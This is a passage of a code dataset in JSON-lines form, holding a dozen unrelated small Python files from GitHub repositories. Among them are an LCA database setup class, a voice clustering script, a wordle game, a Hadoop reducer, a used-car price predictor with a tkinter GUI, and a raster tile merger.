bool\r\n\r\n If the input path is a directory and writeable.\r\n\r\n False : bool\r\n\r\n If the input path is either not a directory or is not writeable\r\n \"\"\"\r\n return os.path.isdir(dirpath) and os.access(dirpath, os.W_OK)\r\n\r\n\r\n def size(self):\r\n \"\"\"A method to get the number of total activities in the imported database, \r\n if the database is not empty\r\n\r\n Returns\r\n -------\r\n \r\n db_activities : str\r\n\r\n A count of the total activities in the db. \r\n\r\n Raises\r\n ------\r\n\r\n ImportError\r\n\r\n If the db fails to load.\r\n\r\n \"\"\"\r\n if not self.db:\r\n raise ImportError ('Database is empty!')\r\n else:\r\n db_activities = (('Total activities in {} database is {}'.format(self.database_name, len(self.db))), len(self.db))\r\n return db_activities\r\n \r\n def data(self):\r\n \"\"\"A method to load the db.\"\"\"\r\n return self.db.load()\r\n \r\n def activities(self):\r\n \"\"\"A method for getting a list of all activities in a `self.db`. \r\n\r\n Returns \r\n -------\r\n db_activities_list : list\r\n\r\n A list of all activities in this database.\r\n\r\n Raises\r\n ------\r\n \r\n TypeError\r\n\r\n If dict keys being iterated over cannot be interpreted as an activity.\r\n\r\n \"\"\"\r\n try:\r\n return [self.db.get(ds[1]) for ds in self.data()]\r\n except TypeError:\r\n raise Exception (\"Key {} cannot be understood as an activity\".format(ds[1]) for ds in self.db.load())\r\n \r\n def statistics (self):\r\n \"\"\"A method to get the number of activities and exchanges in the database.\r\n\r\n Returns\r\n -------\r\n\r\n activities_and_num_of_exchanges : str\r\n\r\n A count of all datasets and exchanges in `self.db`. \r\n\r\n \"\"\"\r\n# num_exchanges = sum([len(ds.get('exchanges', [])) for ds in self.db.load()]) \r\n data = self.data()\r\n num_exchanges = sum([len((self.db.get(ds[1])).exchanges()) for ds in data])\r\n num_datasets = len(self.db)\r\n activities_and_num_of_exchanges = ('Number of activities and exchanges:', num_datasets, num_exchanges)\r\n return activities_and_num_of_exchanges\r\n \r\n def delete(self):\r\n \"\"\"A method to delete a previously installed database.\"\"\"\r\n assert self.database_name in databases, \"Database you tend to delete doesn't exist\"\r\n del databases[self.database_name]\r\n \r\n def delete_activity (self,activity):\r\n \"\"\"A method to delete a flow from database.\r\n \r\n Parameters\r\n ----------\r\n\r\n activity: str\r\n\r\n The flow to be deleted.\r\n \"\"\"\r\n data = self.db.load()\r\n del data[activity]\r\n from bw2data.utils import recursive_str_to_unicode\r\n self.db.write(recursive_str_to_unicode(data))\r\n self.db.process()\r\n print (\"deleted activity flow: %s\" % (str(activity)))\r\n\r\n # def exchanges (self, activity):\r\n # \"\"\"get exchanges for the activity\"\"\"\r\n # exchgs = self.data[activity].get('exchanges',[])\r\n # num = len (activity.exchanges())\r\n # return (exchgs, 'Total number of exchanges: {}'.format(num)) \r\n\r\n def all_exchanges (self):\r\n \"\"\"A method to get all exchanges in `self.db`\r\n\r\n Returns\r\n -------\r\n \r\n exchanges_description : str\r\n\r\n A statement of the total number of exchanges in the db.\r\n \"\"\"\r\n data = self.data()\r\n all_exchgs = [(data[ds].get('exchanges',[])) for ds in data]\r\n num = len (all_exchgs)\r\n exchanges_description = (all_exchgs, 'Total number of exchanges in the database {}:{}'.format(self.database_name, num))\r\n return exchanges_description\r\n \r\n def uncertainty(self):\r\n \"\"\"A method to get the most common uncertainty type for `self.db`.\r\n\r\n Returns\r\n -------\r\n\r\n most_common_uncertainty : str\r\n\r\n The most common uncertainty type in the db. \r\n\r\n \"\"\"\r\n if self.size:\r\n flow_type = lambda x: 'technosphere' if x != 'biosphere' else 'biosphere'\r\n uncert = []\r\n for exchgs in peewee.schema.ExchangeDataset.select().where(peewee.schema.ExchangeDataset.output_database == self.database_name):\r\n # obtain default uncertainty distribution for each exchanges in selected database \r\n objs = exchgs.data.get('uncertainty type', 0)\r\n uncertainty_type = stats_arrays.uncertainty_choices[objs].description\r\n uncert.append((flow_type(exchgs.type), uncertainty_type))\r\n most_common_uncertainty = collections.Counter(uncert).most_common() \r\n return most_common_uncertainty\r\n \r\n # def storeData(self):\r\n # \"\"\"A method to write a binary representation of the db to a local file `MyExport.pickle`.\"\"\"\r\n # self.db_as_dict = self.db.load()\r\n # with open('MyExport.pickle', 'wb') as f:\r\n # pickle.dump(self.db_as_dict, f)\r\n\r\n # def _loadData(self):\r\n # db_file = open('MyExport.pickle', 'rb')\r\n # db = pickle.load(db_file)\r\n # for keys in db:\r\n # print (keys, '=>', db(keys))\r\n # db_file.close()\r\n\r\n# @staticmethod\r\n #def geto_locations():\r\n # \"\"\"Returns a list of ecoinvent location abbreviations\"\"\"\r\n # fp = os.path.join(os.path.abspath(os.path.dirname(__file__)),'data', \"geodata.json\")\r\n # return json.load(open(fp, encoding='utf-8'))['names']\r\n# def clean_exchanges(data):\r\n# \"\"\"Make sure all exchange inputs are tuples, not lists.\"\"\"\r\n# def tupleize(value):\r\n# for exc in value.get('exchanges', []):\r\n# exc['input'] = tuple(exc['input'])\r\n# return value\r\n# return {key: tupleize(value) for key, value in data.items()}\r\n# \r\n \r\n#def export_excel():\r\ndef db_write_toExcel(lci_data, db_name):\r\n \"\"\"A function to write inventory database to an Excel file. \r\n\r\n Parameters\r\n ----------\r\n\r\n lci_data : \r\n\r\n db_name : str\r\n\r\n The name of the database. \r\n\r\n Returns\r\n ------- \r\n\r\n fp : string\r\n\r\n The filepath to the spreadsheet file.\r\n \"\"\"\r\n #creat lci data sheet\r\n dirpath = os.path.join(os.path.abspath(os.path.dirname(__file__)),'database')\r\n export_path = os.path.join(dirpath,\"Exported\") \r\n if not os.path.isdir(export_path):\r\n os.makedirs(export_path)\r\n fp = os.path.join(export_path, \"Exported\" +\" \" + db_name +\" Inventory\" + \".xlsx\")\r\n Wb = xlsxwriter.Workbook(fp)\r\n bold = Wb.add_format({'bold': True}) \r\n Ws = Wb.add_worksheet('inventory')\r\n row = 0\r\n \r\n def write_row(sheet, row, data, exchgs=True):\r\n \"\"\"A nested function to write a database row to an Excel file.\r\n\r\n Parameters\r\n ----------\r\n\r\n sheet : file obj\r\n\r\n The Excel file to write to.\r\n\r\n row : int\r\n\r\n The row to write.\r\n\r\n\r\n data : dict\r\n\r\n The data to be written to the db.\r\n\r\n exchgs : boolean, optional\r\n\r\n Include exchanges. Default is `True`\r\n\r\n Raises\r\n ------\r\n\r\n ValueError\r\n\r\n If `amount` not specified in `data`.\r\n \"\"\"\r\n sheet.write_string(row, 0, data.get('name', '(unknown)'), bold)\r\n #include both linked and unlinked exchanges\r\n if exchgs:\r\n sheet.write_string(row, 0, data.get('name', '(unknown)'))\r\n sheet.write_string(row, 1, data.get('reference product', '(unknown)'))\r\n try:\r\n sheet.write_number(row, 2, float(data.get('amount')))\r\n except ValueError:\r\n sheet.write_string(row, 2, 'Unknown')\r\n sheet.write_string(row, 3, data.get('input', [''])[0])\r\n sheet.write_string(row, 4, data.get('unit', '(unknown)'))\r\n sheet.write_string(row, 5, u\":\".join(data.get('categories', ['(unknown)'])))\r\n sheet.write_string(row, 6, data.get('location', '(unknown)'))\r\n if exchgs:\r\n sheet.write_string(row, 7, data.get('type', '(unknown)'))\r\n sheet.write_boolean(row, 8, 'input' in data)\r\n #writing lci data to excel\r\n for ds in lci_data:\r\n if not ds.get('exchanges'):\r\n continue\r\n write_row(Ws, row, ds, False)\r\n cols = ('Name','Reference Product','Amount','Database','Unit','Categories','Location','Type','Matched')\r\n for index, col in enumerate(cols):\r\n Ws.write_string(row+1, index, col, bold)\r\n row += 2\r\n for exchgs in sorted(ds.get('exchanges', []), key=lambda x: x.get('name')):\r\n write_row(Ws, row, exchgs)\r\n row += 1\r\n row += 1 \r\n Wb.close()\r\n# def get_col_widths(dataframe):\r\n# # maximum length of the index column \r\n# idx_max = max([len(str(s)) for s in dataframe.index.values] + [len(str(dataframe.index.name))])\r\n# # concatenate this to the max of the lengths of column name and its values for each column, left to right\r\n# return [idx_max] + [max([len(str(s)) for s in dataframe[col].values] + [len(col)]) for col in dataframe.columns]\r\n#\r\n# for i, width in enumerate(get_col_widths(dataframe)):\r\n# sheet.set_column(i, i, width)\r\n #Aut adjust coloum fit\r\n # excel = win32.gencache.EnsureDispatch('Excel.Application')\r\n # wb = excel.Workbooks.Open(fp)\r\n # ws = wb.Worksheets(\"inventory\")\r\n # ws.Columns.AutoFit()\r\n # wb.Save()\r\n # excel.Application.Quit()\r\n # print(\"Exported inventory database file to:\\n{}\".format(fp))\r\n return fp\r\n \r\nSetUp = SetUpDatabase","repo_name":"scyjth/biosteam_lca","sub_path":"biosteam_lca/setting/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":13137,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"72"}
+{"seq_id":"8084724189","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.cluster import KMeans\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\n\n# data preprocessing\ndata = pd.read_csv('voices.csv')\ndf = data\ndf = df.drop(['gender'],axis = 1)\ndf = df.drop(['age'],axis = 1)\nX = df.values\ny = data['gender'].values\nencoder = LabelEncoder()\ny = encoder.fit_transform(y)\nscaler = StandardScaler()\nscaler.fit(X)\nX = scaler.transform(X)\n\n# fitting clustering algorithm on data\nn_clstrs = [2 , 50 , 290]\npredicted_labels = np.zeros((len(X) , len(n_clstrs)))\nfor i in range(len(n_clstrs)):\n c = n_clstrs[i]\n clstr = GaussianMixture(n_components = c)\n predicted_labels[:,i] = clstr.fit_predict(X)\n\n# presenting clustered groups\ngroups = []\nfor i in range(len(n_clstrs)):\n m = n_clstrs[i]\n a = []\n for j in range(m):\n a.append(data[predicted_labels[:,i] == j])\n groups.append(a)\n\n \n\n","repo_name":"sara-salamat/gender-recognition-by-voice-python","sub_path":"clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"86702151715","text":"import math\n\n\"\"\"Problem Statement: Given an array that is sorted and then rotated around an unknown point. Find if the array has a \npair with a given sum ‘x’. It may be assumed that all elements in the array are distinct. \nlink: https://www.geeksforgeeks.org/given-a-sorted-and-rotated-array-find-if-there-is-a-pair-with-a-given-sum/\n\"\"\"\n\n\"\"\"\n Algorithm:\n let len = array length; value = sum value to be matched\n find pos of largest element in array as a[prev_pos] < a[ele_pos] > a[next_pos]\n where next_pos = (len + (ele_pos + 1)) mod len;\n prev_pos = (len - (ele_pos - 1)) mod len\n set largest = ele_pos, smallest = next_pos\n while largest != smallest\n if arr[largest] + arr[smallest] > value\n largest = largest -> next \n if arr[largest] + arr[smallest] < value \n smallest = smallest -> next\n else \n value matched return smallest, largest position values \n\"\"\"\n\n\ndef find_sum_in_arr(input_arr, sum_value, search_algo=1):\n \"\"\"\n :param search_algo: search algorithm to use between linear or binary\n :param input_arr: input sorted rotated array\n :param sum_value: value we have to match as sum of 2 elements in array\n :return: position tuple in array that match the given sum if it exists ; (-1, -1) otherwise\n \"\"\"\n\n if search_algo == 1:\n smallest, largest = get_smallest_largest_linear(input_arr)\n else:\n smallest, largest = get_smallest_largest_binary(input_arr)\n\n while smallest != largest:\n if input_arr[smallest] + input_arr[largest] < sum_value:\n smallest = int(math.fmod((len(input_arr) + (smallest + 1)), len(input_arr)))\n elif input_arr[smallest] + input_arr[largest] > sum_value:\n largest = int(math.fmod((len(input_arr) + (largest - 1)), len(input_arr)))\n else:\n return smallest, largest\n return -1, -1\n\n\ndef get_smallest_largest_linear(input_arr):\n \"\"\"\n time-complexity = O(n)\n returns touple of smallest and largest elements in a array\n :param input_arr:\n :return: (ele1, ele2)\n \"\"\"\n smallest = 0\n largest = 0\n for i in range(0, len(input_arr)):\n prev_pos = int(math.fmod((len(input_arr) - (i - 1)), len(input_arr)))\n next_pos = int(math.fmod((len(input_arr) + (i + 1)), len(input_arr)))\n if input_arr[i] > input_arr[prev_pos] and input_arr[i] > input_arr[next_pos]:\n largest = i\n smallest = next_pos\n break\n\n return smallest, largest\n\n\n\"\"\"\nTime complexity: O(log n) \nAlgorithm: Binary search: \nThe minimum element is the only element whose previous is greater than it.\nIf there is no previous element element, then there is no rotation (first element is minimum). \nWe check this condition for middle element by comparing it with (mid-1)’th and (mid+1)’th elements. \nIf minimum element is not at middle (neither mid nor mid + 1), then minimum element lies in either left half or right half.\nIf middle element is smaller than last element, then the minimum element lies in left half Else minimum element lies in right \nhalf. \n\"\"\"\n\n\ndef get_smallest_largest_binary(input_arr):\n middle = int(len(input_arr) / 2)\n low = 0\n high = len(input_arr) - 1\n\n while low < high:\n if input_arr[middle - 1] > input_arr[middle]:\n if middle == 0:\n return middle, len(input_arr) - 1\n else:\n return middle, middle - 1\n elif input_arr[middle] > input_arr[high]:\n low = middle + 1\n middle = int((low + high) / 2)\n else:\n high = middle - 1\n middle = int((low + high) / 2)\n return -1, -1\n\n\ndef check_if_exists(arr, val, switch=1):\n x, y = find_sum_in_arr(arr, val, switch)\n if x == y and x == -1:\n print('sum {} does not exist in the array'.format(val))\n else:\n print('sum {} is gained from (val_1, pos_1) = ({}, {}) and (val_2, pos_2) = ({}, {})'.format(val, arr[x], x,\n arr[y], y))\n\n\n\"\"\"\nTest Cases:\n\"\"\"\n\n# test case 1:\nip_arr = [4, 5, 1, 2, 3]\nsum_val = 9\ncheck_if_exists(ip_arr, sum_val)\n\n# test case 2:\nip_arr = [11, 15, 26, 38, 9, 10]\nsum_val = 21\ncheck_if_exists(ip_arr, sum_val)\n\n# test case 3:\nip_arr = [4, 5, 1, 2, 3]\nsum_val = 9\ncheck_if_exists(ip_arr, sum_val, 2)\n\n# test case 4:\nip_arr = [11, 15, 26, 38, 9, 10]\nsum_val = 21\ncheck_if_exists(ip_arr, sum_val, 2)","repo_name":"saurabhsm07/ds-algo","sub_path":"python/src/ssm_stl/data_structures/arrays/code/misc/sum_of_two_elements.py","file_name":"sum_of_two_elements.py","file_ext":"py","file_size_in_byte":4469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8961785325","text":"#manual solution setting version\n\nsolution = \"cat\"\nguess_count = 0\nprint(\"Welcome to my wordle! In this wordle, you will have six guesses to guess a three letter word.\")\nwhile guess_count <= 6:\n guess = input(\"What is your guess? \")\n guess = str.lower(guess)\n if len(guess) != 3:\n print(\"Your guess should be three letters.\")\n elif guess == solution:\n print(\"You got the wordle!\")\n break\n else:\n right_spot = \"\"\n right_letter = \"\"\n not_in = \"\"\n for letter in range(len(guess)):\n if guess[letter] == solution[letter]:\n right_spot = right_spot + guess[letter]\n if guess[letter] != solution[letter] and guess[letter] in solution:\n right_letter = right_letter + (guess[letter])\n if guess[letter] not in solution:\n not_in = not_in + (guess[letter])\n print(\"These letters were in the right spot:\")\n print([right_spot])\n print(\"These letters are in the answer but not in the right spot:\")\n print([right_letter])\n print(\"These letters are not in the answer:\")\n print([not_in])\n guess_count += 1\n\nif guess_count > 6:\n print(\"You did not get the wordle today. See you tomorrow!\")\n","repo_name":"lizrodrigues/wordle-lab","sub_path":"wordle-lab.py","file_name":"wordle-lab.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"26001958946","text":"#!/usr/bin/env python\n\n#from operator import itemgetter\nimport sys\n\ncurrent_pair = None\ncurrent_count = 0\nxy_pair = None\n\n# input comes from STDIN\nfor line in sys.stdin:\n line = line.strip() # remove leading and trailing whitespace\n xy_pair, count = line.split('\\t', 1) # parse mapper.py input into key and value.\n\n try: # convert count: str => int\n count = int(count)\n except ValueError:\n print(\"Could not coerce count into integer\")\n continue # If count not a number, we silently ignore and discard this line\n\n # this IF-switch only works because Hadoop sorts map output\n # by key (here: xy_pair) before it is passed to the reducer\n if current_pair == xy_pair:\n current_count += count\n else:\n if current_pair:\n string_list = current_pair.translate(None, '[],').split() # Convert string to list of strings\n l = [float(x) for x in string_list] # Convert list of string into list of floats.\n #We now have a list of floats: x_lo, x_hi, y_lo, y_hi. We print out string-coerced\n #versions of each float, separated by commas, then cat it with a string of the current count.\n #Result: \"x_lo, x_hi, y_lo, y_hi, count\" is printed to STDOUT.\n print('%s,%s' % (\",\".join(str(x) for x in l), str(current_count)))\n current_count = count\n current_pair = xy_pair\n\n# Output the last pair\nif current_pair == xy_pair:\n string_list = current_pair.translate(None, '[],').split()\n l = [float(x) for x in string_list]\n print('%s,%s' % (\",\".join(str(x) for x in l), str(current_count)))","repo_name":"christopheraden/Explorations-into-Computational-Statistics","sub_path":"HW2/Streaming/reducer.py","file_name":"reducer.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23076729024","text":"def ns(f):\n return next(f).strip()\n\n\nwith open(\"../testset/primality_test/test1.txt\", 'r') as f:\n N = int(ns(f))\n\n\ndef is_prime(n):\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return n != 1\n\n\nif is_prime(N):\n print(\"Yes\")\nelse:\n print(\"No\")\n","repo_name":"e5pe0n/algorithm-training","sub_path":"Ant/chapter2/python/is_prime.py","file_name":"is_prime.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32589002212","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport codecs\nimport icu\n\nfrom cldr_util import makePhonemeSet, match, check, regtest\n\nGRAPHEMES = icu.UnicodeSet()\nGRAPHEMES.applyPattern('[[:Tavt:]]')\n\nPHONEMES = makePhonemeSet(\"\"\"\n\np pʰ b t tʰ d k kʰ ɡ ʔ\nm n ɲ ŋ\nf v s h x\nw j l\n\nt͡ɕ t͡ɕʷ t͡ɕʰ t͡ɕʰʷ\n\npʷ pʰʷ tʷ dʷ kʰʷ kʷ ɡʷ\nmʷ nʷ ɲʷ ŋʷ\nfʷ sʷ hʷ xʷ\n\ni ɨ u\nɛ e ə ɔ o\na aː\n\niə̯ ɨə̯ uə̯\nai̯\n\n˨ ˧˥ ˨˩ ˥ ˦ ˧˩\n\n\"\"\")\n\ncheck('blt-fonipa-t-blt', GRAPHEMES, PHONEMES)\nregtest('blt-fonipa-t-blt', GRAPHEMES, PHONEMES)\n","repo_name":"brawer/playground","sub_path":"cldr/check_translit_blt.py","file_name":"check_translit_blt.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"}
+{"seq_id":"18988679624","text":"# Problem Statement :\n'''Python program to check whether the string is Palindrome'''\n\n# code\nimport string\n\n#function\ndef checkPalindrome(str):\n s = str\n # all char Lower case\n str = str.lower()\n #replacing the whitespaces\n str = str.replace(\" \", \"\")\n #removing the punctuation\n for char in string.punctuation:\n str = str.replace(char, '')\n \n \n #Validation\n print(\"{} : is a palindrome\".format(s) if str==str[::-1] else \"{} : is not a palindrome\".format(s))\n\n# Driver code\ncheckPalindrome('able was I ere I saw Elba')\ncheckPalindrome('khokho')\ncheckPalindrome('amaama')\ncheckPalindrome('wow')\ncheckPalindrome('Murder for a jar of red rum')\ncheckPalindrome('No, it can, as it is, it is a war. Raw as it is, it is an action')\ncheckPalindrome('Some men interpret nine memos')\ncheckPalindrome('Eva, can I see bees in a cave?')\ncheckPalindrome('Gert, I saw Ron avoid a radio-van, or was it Reg?')\n","repo_name":"devops-pritam/python","sub_path":"string/01.palindromeCheck.py","file_name":"01.palindromeCheck.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"4194064209","text":"from sklearn import datasets,linear_model\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport pandas as pd\nimport os\nimport tkinter as tk\nfrom tkinter import ttk\nimport tkinter\nfrom DropDown_file import *\nfrom tkinter import *\nimport cv2\nimport PIL.Image,PIL.ImageTk\nimport imutils\nfrom functools import partial\nfrom datetime import date\n\n\nlinearRegressions=[]\nCarsDetail=[]\nCarNames=[]\n\n# answer\n\ncv_img=cv2.cvtColor(cv2.imread('Car_Background.jpeg'),cv2.COLOR_BGR2RGB)\n\nclass CarsRegression:\n def __init__(self,name,LinRegreModel):\n self.name=name\n self.LinearRegression=LinRegreModel\n\nclass CarsData:\n def __init__(self,name,df):\n self.name=name\n self.DataFrame=df\n\npath=os.getcwd()\n\npath+='/Cars'\n\nfiles=os.listdir(path)\n\n# For extracting all the file from the Cars folder with xlsx extention\nxlsx_Files=[f for f in files if f[-4:]=='xlsx']\n\n# For labeling all the object with file name and linear regression model\nfor file in xlsx_Files:\n linearRegrName=file[:-5]\n RegresserModel=linear_model.LinearRegression()\n \n model=CarsRegression(linearRegrName,RegresserModel)\n\n linearRegressions.append(model)\n\n# Making a db for the dataframes for the with it's car name \nfor file in xlsx_Files:\n df=pd.read_excel('./Cars/'+file)\n CarsDetail.append(CarsData(file[:-5],df))\n CarNames.append(file[:-5])\n\nfor i in range(len(linearRegressions)):\n df=CarsDetail[i].DataFrame\n train_X=df[['KM','Model','Fuel (P:0 , D:1)','Condition(Denting/Screches)']]\n train_Y=pd.DataFrame(df['Price'])\n model=linearRegressions[i].LinearRegression\n model.fit(train_X,train_Y)\n\n\ndef number(km,sCar,score,fuel_input,model,answer):\n try:\n KMs=int(km.get())\n score=int(score.get())\n fuel=int(fuel_input.get())\n modelYear=int(model.get())\n\n # print(KMs,score,fuel,modelYear)\n\n if KMs<0:\n answer.config(text='Please enter the +ve KMs')\n elif score<0 or score>10:\n answer.config(text='Please enter the Codition score between 0 and 10!')\n elif fuel<0 or fuel>1:\n answer.config(text='Please enter 0 or 1 for fuel type!')\n elif modelYear>date.today().year:\n answer.config(text='Pleae enter a valid year!')\n else:\n answer.config(text='Calculating the price......')\n answer.config(text=sCar.get())\n Car=sCar.get()\n \n print(Car)\n\n index=0\n for cars in CarNames:\n index+=1\n if cars==Car:\n print('Yes i found it!')\n break\n\n index=index-1\n\n print(CarNames[index])\n\n prediction=[]\n prediction.append(KMs)\n prediction.append(modelYear)\n prediction.append(fuel)\n prediction.append(score)\n\n print(prediction)\n\n rModel=linearRegressions[index].LinearRegression\n\n pPrice=rModel.predict([prediction])[0][0]\n Price=str(round(pPrice,2))\n answer.config(text='Predicted Price: Rs '+Price)\n \n except :\n answer.config(text='Please enter the right details!')\n \n\n\ndef test(test_list):\n \"\"\"Run a mini application to test the AutocompleteEntry Widget.\"\"\"\n root = Tk(className='AutocompleteEntry demo')\n root.geometry('800x695')\n canvas=Canvas(root,width=800,height=380)\n\n # bg=PhotoImage(file='Car_Background.jpeg')\n\n photo=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(cv_img))\n rimage=imutils.resize(cv_img,width=800,height=380)\n photo=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(rimage))\n image_on_canvas=canvas.create_image(0,0,ancho=tkinter.NW,image=photo)\n canvas.pack()\n\n carName=Label(root,text='Enter the carName:')\n carName.pack(pady=2)\n\n combo = AutocompleteCombobox(root)\n combo.set_completion_list(test_list)\n combo.pack()\n # combo.default(0)fuel_input\n combo.focus_set()\n\n KmText=Label(root,text='Enter the KMs:')\n KmText.pack(pady=1)\n\n km=Entry(root)\n km.pack(pady=1)\n\n score_txt=Label(root,text='Enter the condition score(dents,\\nEngine Condintion...):')\n score_txt.pack(pady=1)\n\n score=Entry(root)\n score.pack(pady=1)\n \n fuel=Label(root,text='Enter the fuel type 0 for Petrol,1 for Diesel:')\n fuel.pack(pady=1)\n\n fuel_input=Entry(root,text='Fuel type')\n fuel_input.pack(pady=1)\n\n model_txt=Label(root,text='Enter the car model Year')\n model_txt.pack(pady=1)\n\n model=Entry(root)\n model.pack(pady=1)\n\n answer=Label(root,text='Predicted price:')\n answer.pack(pady=1)\n \n my_button=Button(root,text='Calculate Price',\n command=partial(number,km,combo,score,fuel_input,model,answer))\n my_button.pack(pady=1)\n\n # entry = AutocompleteEntry(root)\n # entry.set_completion_list(test_list)\n # entry.pack()\n # entry.focus_set()\n\n # I used a tiling WM with no controls, added a shortcut to quit\n root.bind('', lambda event=None: root.destroy())\n root.bind('', lambda event=None: root.destroy())\n root.mainloop()\n\nif __name__ == '__main__':\n # test_list = ['apple', 'banana', 'CranBerry', 'dogwood', 'alpha', 'Acorn', 'Anise']\n test(CarNames)","repo_name":"vishu1227/2ndHandCarPricePredictor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"37791494395","text":"import rasterio\nimport rasterio.plot as rioplot\nfrom rasterio.merge import merge\nimport numpy as np\nimport glob\n\ndef merge_tiles(path_list, out_path, bounds=None):\n \"\"\" Merge the raster images given in the path list and save the results on disk.\n INPUT : path_list (list of string) -> the path to all the images to merge\n out_path (str) -> the path and file name to which the merge is saved\n bounds (tuple) -> (left, bottom, right, top) the boundaries to extract from (in UTM).\n OUTPUT : None\n \"\"\"\n # open all tiles\n src_file_mosaic = []\n for fpath in path_list:\n src = rasterio.open(fpath)\n src_file_mosaic.append(src)\n # merge the files into a single mosaic\n mosaic, out_trans = merge(src_file_mosaic, bounds=bounds)\n # update\n out_meta = src.meta.copy()\n out_meta.update({'driver': 'GTiff', 'height': mosaic.shape[1], 'width': mosaic.shape[2], 'transform': out_trans})\n # save the merged\n with rasterio.open(out_path, \"w\", **out_meta) as dest:\n dest.write(mosaic)\n\n# %%\nbounds=(794000, 550000, 805000, 558500)\nimg_path_MS = [path for path in glob.glob('dataset_20181227/*MS.tif')]\nimg_path_MS_SR = [path for path in glob.glob('dataset_20181227/*MS_SR.tif')]\n\nmerge_tiles(img_path_MS, 'plantation_27122018_MS.tif', bounds)\nmerge_tiles(img_path_MS_SR, 'plantation_27122018_MS_SR.tif', bounds)\n","repo_name":"antoine-spahr/Cocoa_plantations_detection","sub_path":"Code/merge_tiles.py","file_name":"merge_tiles.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"40786639930","text":"import pygame\nfrom constants import LIMITS, WINDOW_HEIGHT, WINDOW_WIDTH\n\n\nclass Paddle(pygame.sprite.Sprite):\n \"\"\"Paddle class\"\"\"\n\n def __init__(self, position, color=None):\n super().__init__()\n\n # Default size\n self.size = (WINDOW_WIDTH * 0.017, WINDOW_WIDTH * 0.17)\n\n # Default speed\n self.speed = 0\n\n if not color:\n color = (204, 255, 0)\n self.refresh_rect(color)\n\n # Starting positions\n if position == \"left\":\n self.rect.x = LIMITS[\"left\"]\n elif position == \"right\":\n self.rect.x = LIMITS[\"right\"] - self.size[0]\n\n self.rect.y = LIMITS[\"down\"] // 2\n\n def refresh_rect(self, color):\n \"\"\"Updates the sprite / rect based on self.size\"\"\"\n self.image = pygame.Surface(self.size)\n self.image.fill(color)\n self.rect = self.image.get_rect()\n\n # ===============================================\n def update(self):\n self.rect.y += self.speed\n self.constrain()\n\n def constrain(self):\n if self.rect.y < LIMITS[\"up\"]:\n self.rect.y = LIMITS[\"up\"]\n if self.rect.y > LIMITS[\"down\"] - self.size[1]:\n self.rect.y = LIMITS[\"down\"] - self.size[1]\n\n\n\n","repo_name":"Filet26/Python_Pong_2515","sub_path":"models/paddle.py","file_name":"paddle.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28187532658","text":"# DETECTOR DE PALÍNDROMO\nfrase = str(input('\\033[34mDigite uma frase: ')).strip().upper()\npalavras = frase.split()\njunto = ''.join(palavras)\ninverso = junto[:: - 1]\nprint('\\033[34mO inverso de\\033[33m {}\\033[34m é\\033[33m {}'.format(junto, inverso))\nif inverso == junto:\n print('\\033[34mTemos um palíndromo!')\nelse:\n print('\\033[34mA frase digitada não é um palíndromo!')\n","repo_name":"Allan-Orlando-Farias/trabalhando-python","sub_path":"Exercícios do curso/ex053.py","file_name":"ex053.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"25185051588","text":"from db.database import Query\nfrom models.analysis import Analysis\n\nclass AnalysisFactory:\n @staticmethod\n def find(id):\n analysis_data = AnalysisFactory.analysis_data(id)\n analysis = Analysis()\n analysis.id = id\n analysis.prepared = True\n analysis.query = analysis_data[2]\n languages = AnalysisFactory.extract_languages_from_query(analysis_data[2])\n analysis.clauses['languages'] = languages\n analysis.repo_ids = AnalysisFactory.get_repo_ids(analysis_data[2])\n return analysis\n\n @staticmethod\n def get_repo_ids(query):\n q = Query()\n repo_ids = q.query(query)\n # Flatten list\n ids = [r for repo_id in repo_ids for r in repo_id]\n # Remove duplicates\n ids = list(dict.fromkeys(ids))\n return ids\n\n @staticmethod\n def extract_languages_from_query(query):\n pgl_in = 'programming_language IN ('\n start = query.index(pgl_in) + len(pgl_in)\n split_query = query[start:]\n split_query = split_query.split(')')[0]\n languages_string = split_query.replace(\"'\", \"\")\n return languages_string.split(',')\n\n @staticmethod\n def analysis_data(id):\n q = Query()\n analysis_row = q.get(\n 'analyses',\n column='id',\n value=id\n )\n\n if len(analysis_row) == 0:\n raise AnalysisNotFound\n elif len(analysis_row) > 1:\n raise MultipleAnalysesFound\n else:\n analysis_row = analysis_row[0] # because Query.get returns a list of lists\n return analysis_row\n\nclass AnalysisNotFound(Exception):\n pass\n\nclass 